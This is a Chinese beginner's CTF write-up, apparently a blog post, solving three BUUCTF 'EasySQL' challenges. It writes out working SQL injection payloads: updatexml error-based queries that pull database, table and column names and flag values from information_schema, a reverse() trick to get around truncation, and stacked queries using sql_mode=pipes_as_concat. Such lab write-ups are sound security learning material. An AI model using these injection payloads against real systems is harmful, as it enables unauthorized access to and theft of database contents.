【第一周BUUCTF】

第一周

其实整体可能学习还不够,只是看了一些网上的教程视频,实操会有些困难,所以有蛮多时候会看下网上的wp。

一、[极客大挑战 2019]EasySQL 1

尝试1
首先尝试1
在这里插入图片描述
正常的回显
在这里插入图片描述
尝试1‘
在这里插入图片描述
报错1’‘,存在字符型注入
在网上看到万能公式
在这里插入图片描述
尝试后输入这个就可以得到
在这里插入图片描述

二、[RCTF2015]EasySQL 1

在这里插入图片描述
注册admin,发现有账号
在这里插入图片描述
尝试注册admin"#,注册成功,登录后修改密码
登录admin
登录成功
登录成功
然后注册123"||',更改密码
在这里插入图片描述
报错了,查询库名
注册用户名如下

123"||(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#

登录、修改密码
在这里插入图片描述
再重复,用户名如下

123"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1))#

在这里插入图片描述
即得到表名
再重复

123"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1))#

在这里插入图片描述
得到列名
查flag

123"||(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1))#

在这里插入图片描述
没有得到
查别的表

123"||(updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1))#

在这里插入图片描述
查列名

123"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='real_flag_1s_here')),0x7e),1))#

在这里插入图片描述
不知道为什么,没有用
上网查到

123"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#

在这里插入图片描述
没输完整
反着再重复一遍

123"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

在这里插入图片描述
就可以得到完整的flag

三、[SUCTF 2019]EasySQL 1

在这里插入图片描述
输1,回显
在这里插入图片描述
1‘,不显示

1;show databases;

在这里插入图片描述

1;show tables;

在这里插入图片描述
有flag

1;show columns from Flag;#

在这里插入图片描述
没有用,查看网上的wp,应该是要猜测后端

1;set sql_mode=pipes_as_concat;select 1

没太懂,先记着
确实成功了
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值